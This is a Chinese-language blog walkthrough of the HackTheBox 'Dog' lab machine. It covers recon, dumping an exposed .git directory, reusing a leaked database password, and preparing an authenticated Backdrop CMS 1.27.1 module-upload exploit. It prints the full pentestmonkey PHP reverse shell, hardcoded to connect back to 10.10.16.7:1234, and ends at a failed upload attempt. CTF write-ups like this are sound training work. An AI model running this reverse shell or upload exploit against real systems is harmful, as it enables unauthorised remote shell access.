HTB Season7 Dog-编程知识

HTB Season7 Dog

news/2025/3/25 22:31:52/文章来源:https://www.cnblogs.com/QiSamaQwQ/p/18792481

一、信息收集

拿到ip，先测试一下连通性

连通性正常，使用nmap扫描一下ip，输入nmap -sV -sC -A 10.10.11.58 -Pn

扫描发现http页面，并且发现了网页使用了BackDropCMS

在hosts内添加添加页面，访问网页

发现一个登录框，尝试一下sql注入无果，只能另寻出路

此时dirsearch扫描发现了.git目录

使用GitHack工具https://github.com/lijiejie/GitHack 来提取网站.git目录下文件，翻阅代码，在settings.php中发现数据库登录密码为BackDropJ2024DS2024

由于没有更多信息，只能先假设能够利用与数据库相同的密码来登录用户
回去查看网站页面，发现了两个用户Anonymous以及dogBackDropSystem，但是都无法使用。
在已提取的git目录文件中试着搜索一下与网站相关的用户，结果成功查询得到tiffany@dog.htb用户名

使用该用户名与数据库密码登录网站，发现登录成功

在git目录文件中查询网站使用的BackDrop版本号，发现版本号为1.27.1

使用searchsploit查询Backdrop 1.27.1的相关漏洞

相关链接为https://www.exploit-db.com/exploits/52021

利用此漏洞，执行命令后生成了shell文件夹和shell.zip文件

将shell文件夹下的shell.php替换成reverse-shell代码

点击查看代码

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.7';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;//
// Daemonise ourself if possible to avoid zombies later
//// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}// Change to a safe directory
chdir("/");// Remove any umask we inherited
umask(0);//
// Do the reverse shell...
//// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}?>

进入网站后台Functionality下的Install new modules，点击Manual installation，尝试上传该压缩包，发现此网站只支持上传tar.gz文件